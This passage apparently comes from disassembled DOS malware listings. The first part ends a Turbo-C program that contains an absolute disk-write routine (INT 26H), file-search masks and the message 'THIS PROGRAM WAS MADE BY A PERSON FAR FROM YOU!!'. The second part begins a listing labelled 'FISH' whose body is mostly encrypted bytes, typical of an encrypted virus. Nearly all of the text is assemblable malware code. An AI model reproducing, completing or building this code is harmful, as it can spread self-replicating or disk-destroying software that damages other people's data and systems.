SUB_51          ENDP

               DB      55H, 8BH, 0ECH, 8BH, 5EH, 4
               DB      0C6H, 7, 0, 0B8H, 49H, 15H
               DB      50H, 8DH, 46H, 4, 50H, 0FFH
               DB      76H, 6, 0FFH, 76H, 8, 0E8H
               DB      0AH, 0F9H, 0EBH, 0, 5DH, 0C3H
               DB      55H, 8BH, 0ECH, 56H, 57H, 8AH
               DB      46H, 4, 8BH, 4EH, 6, 8BH
               DB      56H, 8, 8BH, 5EH, 0AH, 0CDH
               DB      25H, 5BH, 72H, 4, 33H, 0C0H
               DB      0EBH, 8, 0A3H, 94H, 0, 0B8H
               DB      0FFH, 0FFH, 0EBH, 0
LOC_271:
               POP     DI
               POP     SI
               POP     BP
               RETN

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_52          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               PUSH    DI
               MOV     AL,[BP+4]
               MOV     CX,[BP+6]
               MOV     DX,[BP+8]
               MOV     BX,[BP+0AH]
               INT     26H                     ; Absolute disk write, drive al
               POP     BX
               JC      LOC_272                 ; Jump if carry Set
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_273           ; (15F6)
LOC_272:
               MOV     DATA_78,AX              ; (8134:0094=0)
               MOV     AX,0FFFFH
               JMP     SHORT LOC_273           ; (15F6)
LOC_273:
               POP     DI
               POP     SI
               POP     BP
               RETN
SUB_52          ENDP

               DB      0, 0, 0, 0, 0, 0

SEG_A           ENDS



;-------------------------------------------------------------- SEG_B  ----

SEG_B           SEGMENT PARA PUBLIC
               ASSUME CS:SEG_B , DS:SEG_B , SS:STACK_SEG_C

               DB      0, 0, 0, 0
               DB      'Turbo-C - Copyright (c) 1988 Bor'
               DB      'land Intl.'
               DB      0
               DB      'Null pointer assignment', 0DH, 0AH
               DB      'Divide error', 0DH, 0AH, 'Abnorm'
               DB      'al program termination', 0DH, 0AH
DATA_65         DW      0
DATA_66         DW      0
DATA_67         DW      0
DATA_68         DW      0
DATA_69         DW      0
DATA_70         DW      0
DATA_71         DW      0
DATA_72         DW      0
               DB      0, 0, 0, 0, 0, 0
DATA_73         DD      00000H
DATA_75         DW      0
DATA_76         DW      0
DATA_77         DW      0
DATA_78         DW      0
DATA_79         DW      0
               DB      0, 0, 0, 0, 0AAH, 4
DATA_80         DW      4AAH
               DB      0AAH, 4, 0
               DB      0
DATA_82         DW      0
               DB      0, 0
DATA_83         DW      0
               DB      0, 0
DATA_84         DW      0
               DB      231 DUP (0)
               DB      25H, 73H, 5CH, 25H, 73H, 0
               DB      2AH, 2EH, 2AH, 0, 5CH, 2AH
               DB      2EH, 2AH, 0
               DB      'THIS PROGRAM WAS MADE BY A PERSO'
               DB      'N FAR FROM YOU!!'
               DB      0, 0, 0, 0, 0, 13H
               DB      2, 2, 4, 5, 6, 8
               DB      8, 8, 14H, 15H, 5, 13H
               DB      0FFH, 16H, 5, 11H, 2, 0FFH
               DB      12 DUP (0FFH)
               DB      5, 5, 0FFH
               DB      15 DUP (0FFH)
               DB      0FH, 0FFH, 23H, 2, 0FFH, 0FH
               DB      0FFH, 0FFH, 0FFH, 0FFH, 13H, 0FFH
               DB      0FFH, 2, 2, 5, 0FH, 2
               DB      0FFH, 0FFH, 0FFH, 13H
               DB      8 DUP (0FFH)
               DB      23H, 0FFH, 0FFH, 0FFH, 0FFH, 23H
               DB      0FFH, 13H, 0FFH, 0, 5AH, 3
               DB      5AH, 3, 5AH, 3
DATA_88         DW      0
DATA_89         DW      1000H
               DB      0, 0, 0, 0, 9, 2
               DB      10 DUP (0)
               DB      3EH, 2, 0, 0, 0AH, 2
               DB      1
               DB      9 DUP (0)
               DB      4EH, 2, 0, 0, 2, 2
               DB      2
               DB      9 DUP (0)
               DB      5EH, 2, 0, 0, 43H, 2
               DB      3, 0
               DB      8 DUP (0)
               DB      6EH, 2, 0, 0, 42H, 2
               DB      4, 0
               DB      8 DUP (0)
               DB      7EH, 2, 0, 0, 0, 0
               DB      0FFH, 0
               DB      8 DUP (0)
               DB      8EH, 2, 0, 0, 0, 0
               DB      0FFH, 0
               DB      8 DUP (0)
               DB      9EH, 2, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      0AEH, 2, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      0BEH, 2, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      0CEH, 2, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      0DEH, 2, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      0EEH, 2, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      0FEH, 2, 0, 0, 0, 0
               DB      0FFH, 0
               DB      8 DUP (0)
               DB      0EH, 3, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      1EH, 3, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      2EH, 3, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      3EH, 3, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      4EH, 3, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      5EH, 3, 0, 0, 0, 0
               DB      0FFH
               DB      9 DUP (0)
               DB      6EH, 3, 1, 20H, 2, 20H
               DB      2, 20H, 4, 0A0H, 2, 0A0H
               DB      30 DUP (0FFH)
               DB      0, 0, 0, 0
               DB      'print scanf : floating point for'
               DB      'mats not linked', 0DH, 0AH
               DB      0, 0DH, 0, 28H, 6EH, 75H
               DB      6CH, 6CH, 29H, 0
               DB      '0123456789ABCDEF'
DATA_111        DB      0                       ; Data table (indexed access)
               DB      14H, 14H, 1, 14H, 15H, 14H
               DB      14H, 14H, 14H, 2, 0, 14H
               DB      3, 4, 14H, 9, 5
               DB      8 DUP (5)
               DB      11 DUP (14H)
               DB      0FH, 17H, 0FH, 8, 14H, 14H
               DB      14H, 7, 14H, 16H
               DB      9 DUP (14H)
               DB      0DH, 14H, 14H
               DB      8 DUP (14H)
               DB      10H, 0AH, 0FH, 0FH, 0FH, 8
               DB      0AH, 14H, 14H, 6, 14H, 12H
               DB      0BH, 0EH, 14H, 14H, 11H, 14H
               DB      0CH, 14H, 14H
               DB      0DH
               DB      7 DUP (14H)
               DB      0
DATA_117        DW      1D2H
               DB      0D2H, 1, 0D9H, 1
;*TA_118        DW      OFFSET SUB_53           ;*(0BCD)
               DB      0CDH, 0BH
               DB      0D2H, 0BH, 0D2H, 0BH, 0D2H, 0BH
               DB      0
               DB      63 DUP (0)
DATA_120        DW      0
DATA_121        DW      0
DATA_122        DW      0
               DB      0, 0, 0, 0, 0, 0

SEG_B           ENDS



;--------------------------------------------------------- STACK_SEG_C  ---

STACK_SEG_C     SEGMENT PARA STACK

               DB      128 DUP (0)

STACK_SEG_C     ENDS



               END     START






PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             FISH                                     лл
;лл                                                                      лл
;лл      Created:                                                        лл
;лл      Version:                                                        лл
;лл      Passes:    5          Analysis Options on: H                    лл
;лл                                                                      лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

data_1e         equ     0B3h                    ; (7415:00B3=0)
data_9e         equ     4F0Dh                   ; (7415:4F0D=0)
data_10e        equ     0A61Bh                  ; (7415:A61B=0)

seg_a           segment byte public
               assume  cs:seg_a, ds:seg_a


               org     100h

fish            proc    far

start:
               jmp     loc_6                   ; (0EDE)
               db      50h, 0F5h, 2Bh, 0D6h, 7Eh, 0BFh
               db      2Ch, 7Fh, 0F3h, 0A4h, 7, 1Fh
               db      5Fh, 0, 0E9h, 0CAh, 0Dh, 0CDh
               db      20h, 0B9h, 50h, 0, 0BEh
               db      ' is a tiny VOM p'
               db      0EBh, 7Ah, 67h, 72h, 61h, 6Dh
               db      0, 9Ch, 2Eh, 0FFh, 1Eh, 35h
               db      0Eh, 0C3h, 0Dh, 4Eh, 42h, 49h
               db      23h, 82h, 0Bh, 0E7h, 3, 91h
               db      5Dh, 5Eh, 5Ch, 5Fh, 5Bh, 5Ah
               db      13h, 0Bh, 23h, 0F2h, 2Bh, 0E7h
               db      3, 23h, 82h, 0Bh, 0E7h, 3
               db      0Ah, 12h, 52h, 53h, 57h, 54h
               db      56h, 55h, 90h, 23h, 0F2h, 2Bh
               db      0E7h, 3, 5Eh, 45h, 4Ch, 5Fh
               db      46h, 23h, 84h, 2Bh, 5Ah, 2
               db      23h, 81h, 1Bh, 54h, 2, 3
               db      1Ah, 23h, 86h, 2Bh, 56h, 2
               db      23h, 0E5h, 0DEh, 0F2h, 23h, 83h
               db      1Bh, 54h, 2, 23h, 84h, 2Bh
               db      56h, 2, 23h, 86h, 2Bh, 5Ah
               db      2, 0CEh, 23h, 84h, 2Bh, 5Ah
               db      2, 23h, 81h, 1Bh, 54h, 2
               db      3, 1Ah, 23h, 86h, 2Bh, 56h
               db      2, 23h, 0E5h, 96h, 0F2h, 23h
               db      83h, 1Bh, 54h, 2, 23h, 84h
               db      2Bh, 56h, 2, 23h, 86h, 2Bh
               db      5Ah, 2, 0CEh, 81h, 0B3h, 46h
               db      3, 23h, 0C9h, 33h, 38h, 3
               db      3, 12h, 0F1h, 0B4h, 8, 0Dh
               db      0A1h, 2Bh, 8Bh, 8, 85h, 49h
               db      0F2h, 4Ah, 0EFh, 0FBh, 0CEh, 4Eh
               db      4Ch, 5Fh, 5Dh, 0BDh, 0Ch, 3
               db      12h, 0B7h, 0BAh, 1, 0E5h, 0Ch
               db      0Dh, 0CEh, 0Bh, 5Eh, 3Eh, 0D6h
               db      83h, 0CEh, 87h, 0D5h, 0DCh, 0EEh
               db      0DCh, 0EEh, 2Bh, 84h, 1Ah, 2Bh
               db      81h, 52h, 0Fh, 56h, 0Ah, 0CEh
               db      13h, 5Bh, 3Eh, 0FBh, 83h, 0D3h
               db      3Fh, 0E9h, 86h, 0FDh, 0DCh, 0EBh
               db      0DCh, 0EBh, 86h, 11h, 83h, 49h
               db      0Fh, 53h, 12h, 0CEh, 4Fh, 4Ch
               db      5Eh, 5Eh, 0E5h, 0BDh, 0Fh, 0B4h
               db      0E5h, 5Bh, 7, 83h, 23h, 0AEh
               db      0EEh, 3, 0B9h, 5Fh, 23h, 0CAh
               db      0Bh, 56h, 2, 0Dh, 1Dh, 23h
               db      81h, 13h, 48h, 3, 0E5h, 8Dh
               db      6, 0E6h, 0C0h, 2Ch, 2Bh, 86h
               db      4Ah, 0F3h, 23h, 0AEh, 4Ah, 3
               db      3, 12h, 0E5h, 3Dh, 7, 0ACh
               db      0BDh, 2Ch, 0E5h, 0BEh, 0F2h, 81h
               db      0Bh, 22h, 3, 84h, 13h, 20h
               db      3, 0B7h, 0BAh, 1, 0BDh, 0Ch
               db      0CBh, 0Bh, 5Dh, 3, 0Dh, 0E5h
               db      85h, 0F2h, 91h, 55h, 0, 0Dh
               db      0Ch, 5Dh, 90h, 91h, 0B9h, 6Ch
               db      0F2h, 13h, 20h, 3, 91h, 55h
               db      28h, 0F2h, 0F3h, 5Dh, 90h, 0E5h
               db      0ECh, 0Ch, 0AEh, 0C9h, 33h, 20h
               db      3, 81h, 0Bh, 3Ah, 3, 0CBh
               db      0Bh, 46h, 3, 0E7h, 0CAh, 0Bh
               db      41h, 3, 56h, 0, 84h, 33h
               db      38h, 3, 81h, 3, 43h, 3
               db      0E5h, 0Ah, 0Dh, 0E5h, 2Bh, 0F2h
               db      0E5h, 1Ah, 7, 84h, 0BDh, 22h
               db      0E5h, 56h, 0F2h, 81h, 0CEh, 23h
               db      34h, 13h, 4Ah, 3, 7Eh, 11h
               db      0E5h, 32h, 7, 23h, 83h, 13h
               db      22h, 3, 23h, 0F2h, 3Bh, 20h
               db      3, 57h, 0BDh, 1Eh, 0E5h, 24h
               db      0F2h, 3Eh, 0D6h, 83h, 0D6h, 0CBh
               db      0Bh, 78h, 9, 0Fh, 0CEh
               db      '-KD^E-[D_X^-.;- -HLNE-IDKK- -OBC'
               db      'C-?"4=-*sfcwt{bp*)'
               db      0E5h, 0CFh, 0F3h, 23h, 81h, 3
               db      43h, 3, 0E5h, 0B7h, 0F3h, 3
               db      12h, 13h, 0Ah, 0ACh, 48h, 3
               db      83h, 0CDh, 2Bh, 0C8h, 1Bh, 7
               db      0Dh, 83h, 0D5h, 8, 1Dh, 0Dh
               db      23h, 0Ch, 0Bh, 17h, 0Dh, 23h
               db      8Dh, 33h, 2Dh, 0Dh, 0Dh, 0F6h
               db      78h, 29h, 23h, 0ACh, 9, 0Dh
               db      0AEh, 0Dh, 0Ch, 23h, 0ACh, 0Bh
               db      0Dh, 0AEh, 0Fh, 0Ch, 23h, 0ACh
               db      5, 0Dh, 0AEh, 9, 0Ch, 23h
               db      0F2h, 3Bh, 48h, 3, 3Eh, 0CDh
               db      0F3h, 0C9h, 5Dh, 23h, 0ACh, 0EEh
               db      3, 0C6h, 23h, 0Ch, 0Bh, 1Fh
               db      0Dh, 23h, 0ACh, 0EEh, 3, 23h
               db      86h, 2Bh, 19h, 0Dh, 23h, 83h
               db      1Bh, 1Fh, 0Dh, 23h, 0F2h, 23h
               db      15h
               db      0Dh, 59h, 5Fh, 42h, 58h, 59h
loc_1:
               db      3Eh, 0E9h, 0E5h, 0Dh, 0Dh, 84h
               db      0C8h, 81h, 0C5h, 0B6h, 1Dh, 0Dh
               db      0FAh, 0EEh, 54h, 8Ch, 0E4h, 42h
               db      0Fh, 0Eh, 0CCh, 8Eh, 0DFh, 0Dh
               db      0FAh, 0FEh, 5Dh, 0B5h, 0F7h, 0Dh
               db      5Dh, 84h, 0E5h, 0C6h, 0E5h, 0C1h
               db      0Dh, 0C0h, 0E5h, 29h, 7, 0C6h
               db      5Eh, 86h, 0D1h, 3Bh, 86h, 52h
               db      0Bh, 23h, 84h, 13h, 0BEh, 3
               db      56h, 58h, 84h, 0E8h, 0E5h, 0DDh
               db      5, 0AEh, 0E5h, 0FCh, 0F0h, 0E5h
               db      19h, 0F3h, 0E5h, 0CBh, 0F0h, 0E5h
               db      95h, 0F0h, 0E5h, 0CDh, 5, 85h
               db      8Dh, 0F1h, 2, 78h, 9, 0E4h
data_3          dw      0DE4h                   ; Data table (indexed access)
               db      0B5h, 8Dh, 0F1h, 1Ch, 78h, 9
               db      0E4h, 96h, 0Dh, 0ACh, 8Dh, 0F1h
               db      1Fh, 78h, 9, 0E4h, 9Fh, 0Dh
               db      84h, 8Dh, 0F1h, 19h, 78h, 9
               db      0E4h, 4, 0Ch, 0E6h, 8Dh, 0F1h
               db      2Ch, 78h, 9, 0E4h, 0F9h, 0Dh
               db      81h, 8Dh, 0F1h, 2Eh, 78h, 9
               db      0E4h
data_4          db      89h                     ; Data table (indexed access)
               db      0Ch, 0AEh, 8Dh, 0F1h, 2Ah, 78h
               db      9, 0E4h, 0EDh, 0Dh, 0E6h, 8Dh
               db      0F1h, 30h, 78h, 9, 0E4h, 0CBh
data_5          dw      0F20Ch                  ; Data table (indexed access)
               db      8Dh, 0F1h, 33h, 78h, 9, 0E4h
               db      0Ch, 0Fh, 0ACh, 8Dh, 0F1h, 32h
               db      78h, 9, 0E4h, 70h, 0Ah, 85h
               db      8Dh, 0F1h, 4Fh, 78h, 9, 0E4h
               db      4Fh, 0Ah, 81h, 8Dh, 0F1h, 46h
               db      78h, 9, 0E4h, 11h, 0Fh, 0E6h
               db      8Dh, 0F1h, 43h, 78h, 9, 0E4h
               db      5Eh, 5, 84h, 8Dh, 0F1h, 42h
               db      78h, 9, 0E4h, 47h, 5, 83h
               db      8Dh, 0F1h, 5Ah, 78h, 0Eh, 0E4h
               db      0C2h, 0Bh, 0E4h, 5Ah, 4, 0E6h
               db      0E5h, 7Fh, 4, 0ACh, 0E5h, 5Eh
               db      0F0h, 0E5h, 7Bh, 0F0h, 0E5h, 25h
               db      0F0h, 84h, 0E8h, 23h, 0F2h, 3Bh
               db      0BEh, 3, 82h, 4Bh, 0Bh, 50h
               db      0C2h, 23h, 0F2h, 0Bh, 3Ch, 3
               db      0E4h, 19h, 5, 0ACh, 0E5h, 0F5h
               db      0F1h, 0E5h, 0DAh, 0F1h, 7, 0CDh
               db      78h, 0D9h, 0E5h, 0D6h, 0F1h, 0E5h
               db      0CCh, 0Ch, 0BDh, 0Dh, 8Dh, 32h
               db      0F2h, 78h, 0Bh, 87h, 4Ah, 0Bh
               db      8Eh, 0CEh, 0Ah, 23h, 2Dh, 0Bh
               db      0FDh, 3, 0FBh, 4Ah, 17h, 8Dh
               db      79h, 18h, 8Dh, 62h, 17h, 0C5h
               db      23h, 8Dh, 33h, 0FDh, 3, 0Dh
               db      78h, 4, 8Ch, 62h, 10h, 0Dh
               db      3, 8Eh, 52h, 12h, 0Dh, 0E5h
               db      0B6h, 0F1h, 0E6h, 91h, 4Bh, 44h
               db      43h, 0E5h, 0BEh, 0F1h, 0E5h, 9Fh
               db      0F1h, 0E5h, 97h, 0F1h, 7, 0CDh
               db      78h, 0E6h, 84h, 0DEh, 0FBh, 4Ah
               db      18h, 8Dh, 79h, 0EEh, 8Dh, 62h
               db      18h, 0C5h, 8Ch, 62h, 1Dh, 0Dh
               db      3, 8Dh, 52h, 1Fh, 0Dh, 0E6h
               db      0D9h, 23h, 0F2h, 3, 3Ch, 3
               db      0E4h, 0AFh, 0Ah, 0AEh, 0EEh, 16h
               db      84h, 0DEh, 86h, 7Ah, 2Ch, 6
               db      7Ah, 2Eh, 78h, 1Ch, 0E6h, 7
               db      84h, 0DEh, 86h, 4Ah, 1, 7
               db      4Ah, 2Dh, 78h, 8, 0E5h, 0EEh
               db      9, 7Eh, 0Eh, 0E4h, 45h, 0F2h
               db      0E5h, 6Bh, 0F1h, 0E5h, 5Dh, 0F1h
               db      0E5h, 4Fh, 0F1h, 84h, 43h, 0F5h
               db      84h, 4Bh, 0F1h, 13h, 5Fh, 0E5h
               db      26h, 0Ch, 8Eh, 72h, 19h, 0Ch
               db      79h, 16h, 86h, 0Ah, 0Eh, 4Ah
               db      0Fh, 5Eh, 86h, 52h, 9, 0FAh
               db      0DEh, 0Ch, 0D5h, 56h, 79h, 6
               db      8Eh, 0C9h, 9, 0E4h, 76h, 0F2h
               db      40h, 58h, 5Eh, 46h, 54h, 57h
               db      12h, 84h, 0DBh, 3, 0Ah, 0B4h
               db      28h, 0Dh, 0B2h, 0B8h, 3, 0FEh
               db      0A9h, 0B2h, 0B8h, 3, 3, 12h
               db      86h, 58h, 1Fh, 86h, 48h, 1Dh
               db      8, 2, 3, 8Eh, 0DFh, 0Dh
               db      28h, 0FDh, 0F2h, 84h, 58h, 1Fh
               db      84h, 48h, 1Dh, 20h, 0F1h, 0
               db      8Eh, 0D7h, 0Dh, 84h, 58h, 2Eh
               db      84h, 48h, 2Ch, 0B4h, 11h, 0Dh
               db      0CAh, 48h, 3, 0Ch, 0Dh, 0B9h
               db      2Ah, 84h, 0F7h, 0E5h, 0DEh, 0F6h
               db      0E4h, 3Dh, 0F2h, 3, 0Ah, 0B2h
               db      0B8h, 3, 0B4h, 28h, 0Dh, 84h
               db      0DBh, 0FEh, 0A9h, 13h, 5Fh, 3
               db      12h, 0B9h, 2, 0B7h, 0B8h, 3
               db      0E5h, 0B5h, 0F6h, 0B9h, 1Dh, 0E5h
               db      0BEh, 0F6h, 0FBh, 0Bh, 0C7h, 3
               db      8Dh, 53h, 12h, 79h, 26h, 23h
               db      0C9h, 13h, 0C8h, 3, 81h, 0CDh
               db      8Ch, 0E6h, 0Dh, 3, 10h, 0Dh
               db      0Dh, 3Eh, 0DFh, 23h, 86h, 3
               db      0CEh, 3, 44h, 0Ch, 0C6h, 18h
               db      0Dh, 0Dh, 4Ch, 0FAh, 0FCh, 84h
               db      49h, 2Eh, 9Fh, 9Eh, 0FAh, 0FCh
               db      84h, 49h, 2Ch, 0E4h, 0D2h, 0F3h
               db      0E4h, 74h, 0F3h, 0E5h, 61h, 9
               db      0E5h, 18h, 9, 7Fh, 34h, 23h
               db      8Dh, 33h, 0AFh, 3, 0Dh, 79h
               db      3Ch, 0E5h, 64h, 9, 8Eh, 0F6h
               db      0F2h, 79h, 24h, 23h, 0F3h, 3
               db      0AFh, 3, 3, 0Ah, 0B4h, 19h
               db      0Dh, 0B2h, 5Fh, 3, 3Eh, 0CDh
               db      0FFh, 0A2h, 23h, 0ACh, 0AEh, 3
               db      2Bh, 84h, 48h, 0F3h, 2Bh, 84h
               db      50h, 2Bh, 84h, 53h, 0F1h, 23h
               db      8Dh, 2Bh, 0BEh, 3, 0F3h, 0E4h
               db      96h, 0F3h, 0E4h, 38h, 0F3h, 3
               db      0Ah, 0E5h, 2Bh, 9, 0B4h, 19h
               db      0Dh, 23h, 0ACh, 0AEh, 3, 0B2h
               db      5Fh, 3, 0FFh, 0A2h, 78h, 1Bh
               db      2Bh
loc_2:
               db      36h, 50h, 2Bh, 78h, 0FBh, 2Bh
               db      0CAh, 48h, 0F3h, 0Dh, 0Dh, 0E5h
               db      1Ah, 0Fh, 23h, 0F3h, 0Bh, 0AFh
               db      3, 0E6h, 0C6h, 0E4h, 4, 0F3h
               db      0B9h, 22h, 0Bh, 0E5h, 0Bh, 0F6h
               db      0Bh, 12h, 0Ah, 0CEh, 7, 0CDh
               db      79h, 0Eh, 0E4h, 5Bh, 0Ch, 13h
               db      5Fh, 23h, 81h, 0Bh, 2Bh, 3
               db      23h, 84h, 13h, 29h, 3, 23h
               db      0C8h, 3Bh, 29h, 3, 0B4h, 3
               db      0Dh, 0B2h, 0FCh, 3, 3, 0Ah
               db      0FEh, 0A9h, 53h, 12h, 0B4h, 5Dh
               db      0Dh, 0B2h, 0Ah, 2, 0FEh, 0A9h
               db      0B6h, 0F2h, 0F2h, 0E5h, 0E3h, 0F7h
               db      50h, 23h, 82h, 0Bh, 0EBh, 3
               db      23h, 82h, 0Bh, 0E5h, 3, 23h
               db      82h, 0Bh, 0BEh, 3, 3, 0B5h
               db      0Ch, 46h, 0Ah, 91h, 0B6h, 0FCh
               db      3, 23h, 0F2h, 13h, 38h, 3
               db      7Eh, 2Dh, 23h, 8Eh, 3, 0BEh
               db      3, 0Ch, 23h, 0F2h, 3Bh, 0BEh
               db      3, 23h, 0F2h, 3Bh, 0E5h, 3
               db      23h, 0F2h, 3Bh, 0EBh, 3, 58h
               db      23h, 0C9h, 13h, 29h, 3, 84h
               db      0E8h, 0E4h, 9Ch, 0F0h, 0E5h, 8Dh
               db      0Eh, 3, 0Ah, 0B4h, 19h, 0Dh
               db      0B2h, 5Fh, 3, 23h, 0ACh, 0AEh
               db      3, 0FFh, 0A2h, 78h, 0, 2Bh
               db      0CAh, 48h, 0F3h, 0Dh, 0Dh, 23h
               db      0F3h, 0Bh, 0AFh, 3, 0E6h, 0E6h
               db      23h, 0C8h, 3Bh, 0Eh, 2, 8Eh
               db      0F3h, 0Ch, 78h, 39h, 86h, 1Bh
               db      17h, 0Dh, 8Eh, 0CFh, 1Dh, 0B9h
               db      5Ch, 0E5h, 57h, 0F7h, 0Eh, 0DEh
               db      23h, 84h, 1Bh, 8, 2, 0F2h
               db      3Bh, 15h, 0Dh, 23h, 82h, 0Bh
               db      0Eh, 2, 0Eh, 13h, 1Fh, 0Dh
               db      8Eh, 0CEh, 1Dh, 23h, 84h, 13h
               db      0Ch, 2, 0F2h, 3Bh, 19h, 0Dh
               db      23h, 82h, 0Bh, 0F2h, 3, 0E4h
               db      25h, 0Dh, 86h, 9, 0Eh, 49h
               db      0Fh, 5Eh, 86h, 51h, 9, 0FAh
               db      0DEh, 0Ch, 0D5h, 56h, 79h, 6Ch
               db      3, 12h, 0B7h, 0Ah, 2, 0E5h
               db      0B4h, 0Fh, 0E5h, 1Ah, 0Eh, 23h
               db      0F3h, 0Bh, 0E2h, 3, 0E5h, 1Dh
               db      0Ch, 23h, 0F3h, 3, 0E2h, 3
               db      0B9h, 5Ch, 0E5h, 8, 0F7h, 0E5h
               db      50h, 0F7h, 0E5h, 8Dh, 0F7h, 0E5h
               db      3Fh, 0F7h, 83h, 0D6h, 83h, 0CEh
               db      23h, 0F2h, 3Bh, 0BEh, 3, 23h
               db      0F2h, 3Bh, 0E5h, 3, 23h, 0F2h
               db      3Bh, 0EBh, 3, 82h, 0Bh, 7
               db      0Dh, 82h, 0Bh, 1, 0Dh, 13h
               db      0BDh, 2Fh, 0C8h, 1Bh, 7, 0Dh
               db      0E5h, 8Dh, 0F7h, 12h, 90h, 55h
               db      23h, 86h, 2Bh, 0F2h, 3, 23h
               db      83h, 1Bh, 0Ch, 2, 23h, 0F2h
               db      23h, 0Eh, 2, 5Eh, 42h, 41h
               db      48h, 86h, 51h, 0Ch, 86h, 8Dh
               db      34h, 0FFh, 84h, 9, 86h, 8Dh
               db      36h, 0FFh, 84h, 49h, 0Fh, 86h
               db      8Dh, 30h, 0FFh, 84h, 49h, 9
               db      0E5h, 0DAh, 0Eh, 0E6h, 96h, 31h
               db      0Ch, 79h, 0Eh, 0E4h, 96h, 0F1h
               db      23h, 8Eh, 3, 0BEh, 3, 0Ch
               db      23h, 81h, 0Bh, 2Bh, 3, 23h
               db      84h, 13h, 29h, 3, 0E5h, 0A4h
               db      0F4h, 0E5h, 85h, 0F4h, 0E5h, 9Dh
               db      0F4h, 23h, 0C9h, 13h, 29h, 3
               db      2Bh, 0C8h, 7Ah, 1Fh, 7Fh, 79h
               db      23h, 8Dh, 2Bh, 0BEh, 3, 0F3h
               db      8Eh, 0F3h, 0Ch, 79h, 24h, 86h
               db      9, 0Eh, 49h, 0Fh, 5Eh, 86h
               db      51h, 9, 0FAh, 0DEh, 0Ch, 0D5h
               db      56h, 78h, 48h, 86h, 51h, 0Ch
               db      86h, 8Dh, 34h, 0FFh, 84h, 9
               db      86h, 8Dh, 36h, 0FFh, 84h, 49h
               db      0Fh, 86h, 8Dh, 30h, 0FFh, 84h
               db      49h, 9, 0E6h, 21h, 86h, 1Bh
               db      17h, 0Dh, 0E5h, 3Fh, 0Fh, 23h
               db      86h, 3, 0AEh, 3, 8Eh, 0CCh
               db      1Dh, 0Ch, 0C7h, 2Bh, 84h, 5Ah
               db      19h, 0ACh, 15h, 0Dh, 2Bh, 84h
               db      4Ah, 1Fh, 0ACh, 1Fh, 0Dh, 0Eh
               db      0CCh, 2Bh, 84h, 4Ah, 1Dh, 0ACh
               db      19h, 0Dh, 2Bh, 84h, 4Ah, 3
               db      0E5h, 7, 0Fh, 23h, 83h, 13h
               db      0AEh, 3, 86h, 4Bh, 0Fh, 0AEh
               db      7, 0Dh, 86h, 4Bh, 9, 0AEh
               db      1, 0Dh, 0E4h, 6Eh, 0F1h, 4Bh
               db      44h, 5Eh, 45h, 0E5h, 0A6h, 9
               db      0E5h, 0D1h, 0Dh, 0CBh, 0Bh, 2Dh
               db      0Dh, 0Ch, 8Ch, 33h, 0Dh, 3
               db      40h, 57h, 79h, 3, 8Ch, 33h
               db      0Dh, 3, 57h, 40h, 79h, 0Bh
               db      0F3h, 3, 2Dh, 0Dh, 79h, 55h
               db      0ACh, 9, 3, 0DCh, 0ECh, 0FAh
               db      0ECh, 8, 0Dh, 0Fh, 34h, 0FDh
               db      7Fh, 45h, 0ACh, 7, 3, 6
               db      0Bh, 1, 3, 79h, 32h, 86h
               db      1Bh, 0A6h, 3, 0B4h, 0Dh, 0Fh
               db      0ACh, 0A4h, 3, 0FAh, 0FCh, 6
               db      0DFh, 79h, 0Ch, 4Dh, 84h, 1Bh
               db      0Fh, 3, 0AEh, 9, 3, 8Eh
               db      33h, 19h, 3, 0Ch, 79h, 60h
               db      0CAh, 0Bh, 19h, 3, 0Ch, 0Dh
               db      86h, 0CBh, 26h, 0Bh, 5, 3
               db      0AEh, 1Bh, 3, 8Eh, 0Bh, 9
               db      3, 0Ah, 0CAh, 0Bh, 1Dh, 3
               db      0Dh, 3, 0AEh, 3, 3, 0E5h
               db      0C0h, 0Dh, 0E6h, 46h, 8Ch, 0F3h
               db      0Dh, 2, 7Eh, 48h, 0ACh, 0Dh
               db      3, 0AEh, 9, 0Dh, 0Ch, 0CFh
               db      0ACh, 0Fh, 3, 0AEh, 0Bh, 0Dh
               db      0Ch, 0CFh, 0ACh, 9, 3, 0AEh
               db      5, 0Dh, 0FAh, 0DDh, 0Ch, 0CFh
               db      79h, 24h, 0ACh, 0FFh, 3, 29h
               db      9, 78h, 2Fh, 0BCh, 0E4h, 0B5h
               db      1Dh, 0Dh, 85h, 3, 0Dh, 3
               db      0FAh, 0EBh, 8, 0C6h, 0, 0AEh
               db      0Ch, 3, 0ACh, 0Dh, 3, 0Eh
               db      0Bh, 0Fh, 3, 0FAh, 0D5h, 0FAh
               db      0DDh, 0AEh, 9, 3, 0E5h, 8Dh
               db      0Dh, 0B9h, 33h, 0E5h, 3Bh, 0F5h
               db      23h, 86h, 3, 0FFh, 3, 0B5h
               db      0Ch, 4Eh, 23h, 86h, 1Bh, 0F9h
               db      3, 23h, 83h, 13h, 0FBh, 3
               db      0E5h, 2Ch, 0F5h, 0E5h, 40h, 9
               db      0CEh, 3, 0B5h, 0Dh, 5Ah, 12h
               db      0E5h, 18h, 0F5h, 84h, 3, 24h
               db      3, 0B5h, 0Dh, 4Fh, 84h, 1Bh
               db      26h, 3, 3Eh, 0C4h, 3Eh, 0DFh
               db      0E5h, 0Eh, 0F5h, 0B9h, 32h, 0B7h
               db      0Dh, 3, 0BCh, 11h, 0E5h, 0F4h
               db      0FAh, 3Eh, 0C4h, 0B5h, 0Dh, 4Fh
